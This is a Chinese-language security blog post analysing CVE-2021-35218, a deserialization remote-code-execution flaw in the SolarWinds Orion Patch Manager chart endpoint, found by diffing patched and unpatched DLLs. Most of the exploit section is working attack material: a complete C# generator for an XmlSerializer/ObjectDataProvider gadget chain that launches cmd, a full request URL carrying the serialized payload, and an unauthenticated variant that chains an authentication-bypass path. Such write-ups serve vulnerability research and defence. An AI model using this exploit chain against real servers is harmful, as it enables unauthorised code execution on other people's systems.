前言

目前这篇文章中报的RCE,和作者沟通了一下发现只剩下CVE-2021–35218没有分析出来了,硬看实在看不出来,所以本文使用diff dll的形式进行比对,最终找到了漏洞点所在。

分析

我使用的是JustAssembly,将新旧版本拷贝出来做比对。作者对CVE的描述是

CVE-2021–35218: Patch Manager Orion Platform Module: Chart Endpoint Deserialization of Untrusted Data Remote Code Execution Vulnerability

所以我们只关注Patch Manager自身的dll以及Chart相关的功能点。

diff之后发现漏洞出现在SolarWinds.PM.Web.dll中。

1.png

具体类为SolarWinds.PM.Web.Charting.ScmChartImageHandler。

2.png

左边是补丁之后的,右边是没打补丁的。一个很明显的XmlSerializer反序列化。

没打补丁之前type直接从request中获取

3.png

打补丁之后,type从_friendlyTypes中获取

4.png

_friendlyTypes是一个白名单

5.png

所以漏洞点肯定在这里。接下来我们需要寻找对应的路由,使用vscode的全局搜索找到Orion/PM/Chart.ashx

6.png

Chart.ashx继承自ScmChartImageHandler,而ScmChartImageHandler实现了IHttpHandler接口,是一个handler,对于所有的请求都会走ProcessRequest。

那么我们直接发包就行了,接下来构造poc。

构造poc

没啥好说的,看过我写的dotnet反序列化文章的应该都懂。不懂的看一下这篇文章 https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md

 1using System;
 2using System.Collections.Specialized;
 3using System.Data.Services.Internal;
 4using System.Diagnostics;
 5using System.IO;
 6using System.IO.Compression;
 7using System.Reflection;
 8using System.Text;
 9using System.Web;
10using System.Windows.Data;
11using System.Windows.Markup;
12using System.Xml.Serialization;
13
14namespace ConsoleApp1
15{
16    class Program
17    {
18        static void Main(string[] args)
19        {
20            ProcessStartInfo psi = new ProcessStartInfo();
21            psi.FileName = "cmd";
22            psi.Arguments = "/c ping localhost -t";
23            StringDictionary dict = new StringDictionary();
24            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
25            Process p = new Process();
26            p.StartInfo = psi;
27            ObjectDataProvider odp = new ObjectDataProvider();
28            odp.MethodName = "Start";
29            odp.IsInitialLoadEnabled = false;
30            odp.ObjectInstance = p;
31
32            string xamlpayload = XamlWriter.Save(odp);
33            //Console.WriteLine(xamlpayload);
34
35            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
36            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
37            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
38            expandedWrapper.ProjectedProperty0.MethodParameters.Add(xamlpayload);
39            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
40
41            XmlSerializer xmlSerializer = new XmlSerializer(expandedWrapper.GetType());
42            using (MemoryStream memoryStream = new MemoryStream())
43            {
44                using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
45                {
46                    xmlSerializer.Serialize(deflateStream, expandedWrapper);
47                    deflateStream.Flush();
48                    deflateStream.Close();
49                    string text = Base64Encode(memoryStream.ToArray());
50                    Console.WriteLine(text);
51                }
52            }
53            Console.ReadKey();
54        }
55        public static string Base64Encode(byte[] str)
56        {
57            return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
58        }
59        public static byte[] Base64Decode(string str)
60        {
61            byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
62            return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
63        }
64    }
65}

然后发包

1http://192.168.137.131:8787/Orion/PM/Chart.ashx?tp=System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&chart=bFpSTmo5b3dFSWJ2bGZvZkxCLzJSc3kyVWc4aFlWVUpWa0xhRDlUZHFuc2RiQU91L0JIWnd5YW82bi92QkFpd0ltcTd0MlRlMTU2Wlp5WXBiaHBuMmF1T3lRUmY4dXRzeUcvR0h6OFUwNllDcjdUNkVhR3FkSHhjdm9DejN6UW9lbDc4MUJJbmdEQ1A0ZFZRaE5FZFB1Vk5NaVZmSTFhNUVIVmRaL1huTE1TVitEUWNYb3VYKzdzbnVkWU9Cc1luQkM4MVA1NVMvejdGcVNiR0Nrclk1dGFLSHFncTNBNTNjVkwyUmMwT2R6TXFKY2R0cFV0K3Fwc3owYm52TmE2RGVnQ254M09JU1JmaUxQTEdRekxGa1BnYzRxU0EzejdUM1dkSnFJYzhZVFIreGNkWEZrYzlpRTRKU3Y2RUVKR3pXWnA1Z3dic1hRQTE5YkN3bWxEY2drMGRuQ09ZdEtPUU1tZGtEQ2tzTVpQQmlkcjRaZE9TK2lJYWFsTlVVU2Z0RVpCbTJlRnQ2VW9iQjU0eXB3cWt6cCsyQ2JYTEpnWldQaVEwTW8wZ0plMFdkbHZ1dGVObzNwZWZYNjF3MU45KzluWStuWkd3a1VQcWxDNGoyWTdTekMvRHBYYVUyTmU0MmpqcW1WQUp5U3FhQUxOQmdsMVRaMnhBa01ucUZVUTFqVEhFcVpkQmthZmt2NXI4WVdQdDc1UGhjWVBWQnZzYzM1T08rOEZ4TmlkVWRZanFYSjhFQjhhM2FqdkkxazFsTG8zVngySGUwc3YrQnVrVTdXSFhrZmhidStLU2p2aHZzajNPVmlyRVlYbTdMUmU5YTE2STNpK3RFTy82TFl6L0FBPT01

7.png

RCE了。

和作者沟通他说未授权是要结合CVE-2020-10148身份验证绕过来打的,我试了试没成,暂时先放着。

补充

未授权源于CVE-2020–10148,补丁中只修复了非GET请求的未授权。

8.png

所以未授权rce的payload

1GET /orion/PM/Chart.ashx/Skipi18n?tp=<type>&chart=<serialized data> HTTP/1.1

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。